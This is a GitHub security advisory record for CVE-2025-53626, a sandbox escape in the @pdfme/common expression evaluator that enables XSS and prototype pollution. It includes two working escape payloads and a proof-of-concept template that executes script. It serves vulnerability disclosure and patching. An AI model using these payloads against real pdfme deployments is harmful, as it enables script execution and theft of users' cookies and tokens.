CVE-2025-53626: @pdfme/common Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-54xv-94qv-2gfg",
  "modified" : "2025-07-10T23:23:06Z",
  "published" : "2025-07-10T17:43:52Z",
  "aliases" : [ "CVE-2025-53626" ],
  "summary" : "@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation",
  "details" : "## Summary\nThe expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.\n\n## Details\n\n### 1. Sandbox Escape Leading to XSS\n\nThe expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:\n\n```javascript\n// Attack vector 1: Using Object.getOwnPropertyDescriptor\n{ ((f, g) => f(g(Object), \"constructor\").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)(\"alert(location)\")() }\n\n// Attack vector 2: Using object property access\n{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), \"constructor\").value(\"alert(location)\")() }\n```\n\nBoth payloads bypass the sandbox restrictions and execute `Function(\"alert(location)\")()`.\n\n### 2. Prototype Pollution\n\nThe expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:\n- `__lookupGetter__`\n- `__lookupSetter__`\n- `__defineGetter__`\n- `__defineSetter__`\n\n## Impact\n\nThese vulnerabilities allow attackers to:\n- Execute arbitrary JavaScript code in the context of the application\n- Steal sensitive information including cookies and tokens\n- Modify application behavior through prototype pollution\n- Potentially perform actions on behalf of users\n\n## Proof of Concept\n\nLoading the following template in pdfme triggers `alert(location)`:\n\n```json\n{\n  \"schemas\": [[{\n    \"name\": \"field1\",\n    \"type\": \"text\",\n    \"content\": \"{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }\",\n    \"position\": { \"x\": 0, \"y\": 0 },\n    \"width\": 100,\n    \"height\": 100\n  }]],\n  \"basePdf\": { \"width\": 100, \"height\": 100 },\n  \"pdfmeVersion\": \"5.4.0\"\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@pdfme/common"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.2.0"
      }, {
        "fixed" : "5.4.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pdfme/pdfme/security/advisories/GHSA-54xv-94qv-2gfg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-53626"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pdfme/pdfme/pull/1117"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pdfme/pdfme/commit/0dd54739acff2c249ed68c001a896bee38f0fd85"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pdfme/pdfme"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pdfme/pdfme/releases/tag/5.4.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321", "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-10T17:43:52Z",
    "nvd_published_at" : "2025-07-10T19:15:27Z"
  }
}